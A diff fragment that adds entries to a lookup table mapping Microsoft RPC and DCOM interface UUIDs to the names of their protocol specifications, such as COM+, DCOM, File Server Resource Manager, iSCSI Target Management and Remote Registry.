+'97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol',
+'0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
+'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
+'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',
+'23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',
+'4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',
+'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol',
+'7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol',
+'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:',
+'11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:',
+'491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:',
+'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:',
+'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:',
+'4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:',
+'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:',
+'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:',
+'04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:',
+'2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:',
+'12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:',
+'85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:',
+'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:',
+'3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:',
+'88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:',
+'00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
+'4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
+'00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
+'000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
+'99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
+'00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
+'4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):',
+'9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol',
+'6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)',
+'5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)',
+'4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:',
+'300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:',
+'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol',
+'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol',
+'3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol',
+'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol',
+'4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol',
+'135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol',
+'50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management',
+'7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol',
+'3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol',
+'14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure',
+'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol',
+'82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol',
+'6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol',
+'6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol',
+'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol',
+'897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol',
+'377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol',
+'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol',
+'4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol',
+'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol',
+'8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol',
+'4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol',
+'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol',
+'1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol',
+'6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol',
+'39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol',
+'326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol',
+'27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol',
+'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol',
+'8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol',
+'96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol',
+'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol',
+'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol',
+'15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol',
+'12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol',
+'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol',
+'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol',
+'4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol',
+'6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol',
+'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol',
+'38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol',
+'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol',
+'9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol',
+'4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol',
+'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol',
+'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol',
+'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol',
+'22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol',
+'6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol',
+'5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol',
+'8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol',
+'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol',
+'0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol',
+'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol',
+'515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol',
+'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol',
+'47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol',
+'205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol',
+'1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol',
+'42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol',
+'426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol',
+'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol',
+'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol',
+'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol',
+'2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol',
+'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol',
+'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol',
+'91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol',
+'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl',
+'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
+'6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol',
+'8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol',
+'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol',
+'82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote',
+'4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol',
+'22E5386D-8B12-4BF0-B0EC-6A1EA419E366':'[MS-LREC]: Live Remote Event Capture (LREC) Protocol',
+'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol',
+'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote',
+'708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):',
+'77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):',
+'76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):',
+'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):',
+'41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):',
+'1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):',
+'1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):',
+'17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol',
+'12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol',
+'00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
+'784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol',
+'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol',
+'0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol',
+'76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol',
+'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol',
+'03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
+'0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol',
+'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol',
+'833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
+'833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
+'3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol',
+'833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
+'833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
+'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:',
+'83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:',
+'45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:',
+'811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:',
+'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:',
+'12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol',
+'66A2DB21-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'66A2DB1B-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'66A2DB20-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'66A2DB22-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'5FF9BDF6-BD91-4D8B-A614-D6317ACC8DD8':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'67E08FC2-2984-4B62-B92E-FC1AAE64BBBB':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'6139D8A4-E508-4EBB-BAC7-D7F275145897':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
+'338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol',
+'3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
